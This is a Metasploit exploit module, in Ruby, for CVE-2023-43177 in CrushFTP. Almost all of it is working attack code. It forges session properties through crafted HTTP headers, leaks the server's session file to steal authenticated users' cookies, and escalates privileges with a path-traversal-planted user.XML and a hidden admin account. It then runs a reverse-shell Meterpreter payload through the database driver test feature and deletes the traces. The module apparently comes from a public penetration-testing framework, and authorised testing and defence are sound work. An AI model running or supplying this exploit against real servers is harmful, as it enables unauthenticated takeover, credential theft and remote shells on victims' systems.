CrushFTP Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::Java::HTTP::ClassLoader  prepend Msf::Exploit::Remote::AutoCheck  class CrushFtpError < StandardError; end  class CrushFtpNoAccessError < CrushFtpError; end  class CrushFtpNotFoundError < CrushFtpError; end  class CrushFtpUnknown < CrushFtpError; end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'CrushFTP Unauthenticated RCE',        'Description' => %q{          This exploit module leverages an Improperly Controlled Modification          of Dynamically-Determined Object Attributes vulnerability          (CVE-2023-43177) to achieve unauthenticated remote code execution.          This affects CrushFTP versions prior to 10.5.1.          It is possible to set some user's session properties by sending an HTTP          request with specially crafted Header key-value pairs. This enables an          unauthenticated attacker to access files anywhere on the server file          system and steal the session cookies of valid authenticated users. The          attack consists in hijacking a user's session and escalates privileges          to obtain full control of the target. Remote code execution is obtained          by abusing the dynamic SQL driver loading and configuration testing          feature.        },        'License' => MSF_LICENSE,        'Author' => [          'Ryan Emmons', # Initial research, discovery and PoC          'Christophe De La Fuente' # Metasploit module        ],        'References' => [          [ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],          [ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],          [ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],          [ 'CVE', '2023-43177'],          [ 'CWE', '913' ]        ],        'Platform' => %w[java unix linux win],        'Privileged' => true,        'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],        'Targets' => [          [            'Java',            {              'Arch' => ARCH_JAVA,              'Platform' => 'java',              # If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.              # If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be              # used and the payload will fail if the target is not local (most likely).              # To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.              'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }            }          ],          [            'Linux Dropper',            {              'Arch' => [ ARCH_X64, ARCH_X86 ],              'Platform' => 'linux'            }          ],          [            'Windows Dropper',            {              'Arch' => [ ARCH_X64, ARCH_X86 ],              'Platform' => 'win'            }          ],        ],        'DisclosureDate' => '2023-08-08',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080),        OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),        OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])      ]    )  end  def send_as2_query_api(headers = {})    rand_username = rand_text_hex(10)    opts = {      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),      'method' => 'POST',      'headers' => {        'as2-to' => rand_text_hex(8),        # Each key-value pair will be added into the current session’s        # `user_info` Properties, which is used by CrushFTP to store information        # about a user's session. Here, we set a few properties needed for the        # exploit to work.        'user_ip' => '127.0.0.1',        'dont_log' => 'true',        # The `user_name` property will be be included in the response to a        # `getUsername` API query. This will be used to make sure the operation        # worked and the other key-value pairs were added to the session's        # `user_info` Properties.        'user_name' => rand_username      }.merge(headers)    }    # This only works with anonymous sessions, so `#get_anon_session` should be    # called before to make sure the cookie_jar is set with an anonymous    # session cookie.    res = send_request_cgi(opts)    raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?    xml_response = res.get_xml_document    if xml_response.xpath('//loginResult/response').text != 'success'      raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'    end    # Checking the forged username returned in the response    unless xml_response.xpath('//loginResult/username').text == rand_username      raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work'    end    res  end  def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)    opts = {      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),      'method' => 'POST'    }    if multipart      opts['vars_form_data'] = [        {          'name' => 'command',          'data' => command        },      ]      unless cookie.blank?        opts['vars_form_data'] << {          'name' => 'c2f',          'data' => cookie.last(4)        }      end      opts['vars_form_data'] += vars unless vars.empty?    else      opts['vars_post'] = {        'command' => command      }.merge(vars)      opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?    end    opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?    res = send_request_cgi(opts, timeout)    raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?    res  end  def get_anon_session    vprint_status('Getting a new anonymous session')    cookie_jar.clear    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'WebInterface'),      'method' => 'GET',      'keep_cookies' => true    )    raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?    match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)    raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match    vprint_status("Anonymous session cookie: #{match[:cookie]}")    match[:cookie]  end  def check    vprint_status('Checking CrushFTP Server')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),      'method' => 'GET'    )    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?    return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i    cookie = get_anon_session    vprint_status('Checking if the attack primitive works')    # This will raise an exception in case of error    send_as2_query_api    do_logout(cookie)    CheckCode::Appears  rescue CrushFtpError => e    CheckCode::Unknown("#{e.class} - #{e.message}")  end  def rand_dir    @rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"  end  def get_session_file    # Setting this here to be reachable by the ensure block    cookie = nil    begin      cookie = get_anon_session    rescue CrushFtpError => e      print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")      return nil    end    vprint_status("Getting session file at `#{rand_dir}`")    headers = {      'filename' => '/',      'user_protocol_proxy' => rand_text_hex(8),      'user_log_file' => 'sessions.obj',      'user_log_path' => './',      'user_log_path_custom' => File.join('.', rand_dir)    }    send_as2_query_api(headers)    formatted_dir = File.join('.', rand_dir.delete_suffix('/'))    register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),      'method' => 'GET'    )    unless res&.code == 200      print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?      print_bad('[get_session_file] Could not steal the session file')      return nil    end    print_good('Session file downloaded')    tmp_hash = Rex::Text.md5(res.body)    if @session_file_hash == tmp_hash      vprint_status('Session file has not changed yet, skipping')      return nil    end    @session_file_hash = tmp_hash    res.body  rescue CrushFtpError => e    print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")    return nil  ensure    do_logout(cookie) if cookie  end  def check_sessions(session_file)    valid_sessions = []    session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq    vprint_status("Found #{session_cookies.size} session cookies in the session file")    session_cookies.each do |cookie|      res = send_query_api(command: 'getUsername', cookie: cookie)      username = res.get_xml_document.xpath('//loginResult/username').text      if username == 'anonymous'        vprint_status("Cookie `#{cookie}` is an anonymous session")      elsif username.empty?        vprint_status("Cookie `#{cookie}` is not valid")      else        vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")        valid_sessions << { cookie: cookie, username: username }      end    rescue CrushFtpError => e      print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")    end    valid_sessions  end  def check_admin_and_windows(cookie)    res = send_query_api(command: 'getDashboardItems', cookie: cookie)    is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text    return nil if is_windows.blank?    return true if is_windows == 'true'    false  rescue CrushFtpError    vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")    nil  end  def get_writable_dir(path, cookie)    res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })    xml_doc = res.get_xml_document    current_path = xml_doc.xpath('//listingInfo/path').text    if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')      return current_path    end    res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|      if subitem.at('type').text == 'DIR'        dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)        return dir unless dir.nil?      end    end    nil  rescue CrushFtpError => e    print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")    nil  end  def upload_file(file_path, file_content, id, cookie)    file_size = file_content.size    vars = [      { 'name' => 'upload_path', 'data' => file_path },      { 'name' => 'upload_size', 'data' => file_size },      { 'name' => 'upload_id', 'data' => id },      { 'name' => 'start_resume_loc', 'data' => '0' }    ]    res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)    response_msg = res.get_xml_document.xpath('//commandResult/response').text    if response_msg != id      raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"    end    form_data = Rex::MIME::Message.new    form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"")    post_data = form_data.to_s    post_data.sub!("Content-Transfer-Encoding: binary\r\n", '')    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),      'method' => 'POST',      'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => post_data    )    vars = [      { 'name' => 'upload_id', 'data' => id },      { 'name' => 'total_chunks', 'data' => '1' },      { 'name' => 'total_bytes', 'data' => file_size },      { 'name' => 'filePath', 'data' => file_path },      { 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },      { 'name' => 'start_resume_loc', 'data' => '0' }    ]    send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)  end  def check_egg(session_file, egg)    path = session_file.match(%r{FILE://.*?#{egg}})    return nil unless path    path = path[0]    vprint_status("Found the egg at #{path} in the session file")    if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))      print_good("Found path `#{match[:path]}` and it is Windows")    elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))      print_good("Found path `#{match[:path]}` and it is Unix-like")    end    match[:path]  end  def move_user_xml(admin_username, writable_dir)    headers = {      'filename' => '/',      'user_protocol_proxy' => rand_text_hex(8),      'user_log_file' => 'user.XML',      'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",      'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"    }    send_as2_query_api(headers)  end  def do_priv_esc_and_check_windows(session)    vprint_status('Looking for a directory with write permissions')    writable_dir = get_writable_dir('/', session[:cookie])    if writable_dir.nil?      print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')      return nil    end    print_good("Found a writable directory: #{writable_dir}")    egg_rand = rand_text_hex(10)    print_status("Uploading the egg file `#{egg_rand}`")    egg_path = File.join(writable_dir, egg_rand)    begin      upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])    rescue CrushFtpError => e      print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")      return nil    end    admin_password = rand_text_hex(10)    user_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <user type='properties'>        <username>#{session[:username]}</username>        <password>MD5:#{Rex::Text.md5(admin_password)}</password>        <extra_vfs type='vector'></extra_vfs>        <version>1.0</version>        <userVersion>6</userVersion>        <created_by_username>crushadmin</created_by_username>        <created_by_email></created_by_email>        <created_time>#{DateTime.now.strftime('%Q')}</created_time>        <filePublicEncryptionKey></filePublicEncryptionKey>        <fileDecryptionKey></fileDecryptionKey>        <max_logins>0</max_logins>        <root_dir>/</root_dir>        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>        <password_history></password_history>      </user>    XML    xml_path = File.join(writable_dir, 'user.XML')    print_status("Uploading `user.XML` to #{xml_path}")    begin      upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])    rescue CrushFtpError => e      print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")      return nil    end    path = nil    loop do      print_status('Looking for the egg in the session file')      session_file = get_session_file      if session_file        path = check_egg(session_file, egg_rand)        break if path      end      print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")      sleep datastore['SESSION_FILE_DELAY']    end    print_good("Found the file system path: #{path}")    register_files_for_cleanup(File.join(path, egg_rand))    cookie = nil    begin      cookie = get_anon_session    rescue CrushFtpError => e      print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")      return nil    end    admin_username = rand_text_hex(10)    vprint_status("The forged user will be `#{admin_username}`")    vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")    is_windows = path.match(/^[A-Z]:(?<path>.*)/)    move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)    do_logout(cookie)    # `cookie` is explicitly set to `nil` here to make sure the ensure block    # won't log it out again if the next call to `do_login` raises an    # exception. Without this line, if `do_login` raises an exception, `cookie`    # will still contain the value of the previous session cookie, which should    # have been logged out at this point. The ensure block will try to logout    # the same session again.    cookie = nil    print_status('Logging into the elevated account')    cookie = do_login(admin_username, admin_password)    fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie    print_good('Logged in! Now let\'s create a temporary admin account')    [create_admin_account(cookie, is_windows), is_windows]  ensure    do_logout(cookie) if cookie  end  def create_admin_account(cookie, is_windows)    # This creates an administrator account with the required VFS setting for the exploit to work    admin_username = rand_text_hex(10)    admin_password = rand_text_hex(10)    user_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <user type='properties'>        <username>#{admin_username}</username>        <password>#{admin_password}</password>        <extra_vfs type='vector'></extra_vfs>        <version>1.0</version>        <userVersion>6</userVersion>        <created_by_username>crushadmin</created_by_username>        <created_by_email></created_by_email>        <created_time>#{DateTime.now.strftime('%Q')}</created_time>        <filePublicEncryptionKey></filePublicEncryptionKey>        <fileDecryptionKey></fileDecryptionKey>        <max_logins>0</max_logins>        <root_dir>/</root_dir>        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>        <password_history></password_history>      </user>    XML    url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'    vfs_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <vfs_items type='vector'>        <vfs_items_subitem type='properties'>          <name>tmp</name>          <path>/</path>          <vfs_item type='vector'>            <vfs_item_subitem type='properties'>              <type>DIR</type>              <url>#{url}</url>            </vfs_item_subitem>          </vfs_item>        </vfs_items_subitem>      </vfs_items>    XML    perms_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <VFS type='properties'>        <item name='/'>          (read)(view)(resume)        </item>        <item name='/TMP/'>          (read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)        </item>      </VFS>    XML    vars_post = {      'data_action' => 'new',      'serverGroup' => 'MainUsers',      'username' => admin_username,      'user' => user_xml,      'xmlItem' => 'user',      'vfs_items' => vfs_xml,      'permissions' => perms_xml    }    res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)    return nil if res.body.include?('Access Denied') || res.code == 404    { username: admin_username, password: admin_password }  rescue CrushFtpError => e    print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")    nil  end  def do_login(username, password)    vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")    vars = {      'username' => username,      'password' => password,      'encoded' => 'true',      'language' => 'en',      'random' => "0.#{rand_text_numeric(17)}"    }    res = send_query_api(command: 'login', cookie: '', vars: vars)    unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')      print_bad('[do_login] Login failed')      return nil    end    match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)    unless match      print_bad('[do_login] Cannot find session cookie in response')      return nil    end    match[:cookie]  end  def do_logout(cookie)    vprint_status("Logging out session cookie `#{cookie}`")    vars = {      'random' => "0.#{rand_text_numeric(17)}"    }    res = send_query_api(command: 'logout', cookie: cookie, vars: vars)    unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')      vprint_bad('[do_logout] Unable to logout')    end  rescue CrushFtpError => e    vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")  end  def do_rce(cookie, is_windows)    jar_file = payload.encoded_jar({ arch: payload.arch.first })    jar_file.add_file("#{class_name}.class", constructor_class)    jar_filename = "#{rand_text_hex(4)}.jar"    jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"    print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")    begin      upload_file(jar_filename, jar_file.pack, class_name, cookie)    rescue CrushFtpError => e      raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"    end    print_status('Triggering the payload')    vars = {      'db_driver_file' => jar_path,      'db_driver' => class_name,      'db_url' => 'jdbc:derby:./hax;create=true',      'db_user' => rand_text(3..5),      'db_pass' => rand_text(10..15)    }    begin      send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)    rescue CrushFtpNoAccessError      # Expecting no response    end    register_files_for_cleanup(jar_path)  end  def delete_user(username, cookie)    vars = {      'data_action' => 'delete',      'serverGroup' => 'MainUsers',      'usernames' => username,      'user' => '<?xml version="1.0" encoding="UTF-8"?>',      'xmlItem' => 'user',      'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',      'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'    }    send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)  end  def exploit    admin_creds = nil    is_windows = nil    loop do      print_status('Downloading the session file')      session_file = get_session_file      unless session_file        print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")        sleep datastore['SESSION_FILE_DELAY']        next      end      print_status('Looking for the valid sessions')      session_list = check_sessions(session_file)      if session_list.empty?        print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")        sleep datastore['SESSION_FILE_DELAY']        next      end      # First, check if we have active admin sessions to go ahead and directly go the RCE part.      session_list.each do |session|        print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")        # This will return nil if it is not an admin session        is_windows = check_admin_and_windows(session[:cookie])        next if is_windows.nil?        print_good('It is an admin! Let\'s create a temporary admin account')        admin_creds = create_admin_account(session[:cookie], is_windows)        break      end      # If the previous step failed, try to escalate privileges with the remaining active sessions, if any.      if admin_creds.nil?        print_status('Could not find any admin session or the admin account creation failed')        session_list.each do |session|          print_status("Attempting privilege escalation with session cookie #{session}")          admin_creds, is_windows = do_priv_esc_and_check_windows(session)          break unless admin_creds.nil?        end      end      break unless admin_creds.nil?      print_status(        "Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\        'seconds and try again... (Ctrl-C to exit)'      )      sleep datastore['SESSION_FILE_DELAY']    end    print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")    cookie = do_login(admin_creds[:username], admin_creds[:password])    fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie    do_rce(cookie, is_windows)    print_status('Cleanup the temporary admin account')    delete_user(admin_creds[:username], cookie)  rescue CrushFtpError => e    fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")  ensure    do_logout(cookie) if cookie  endend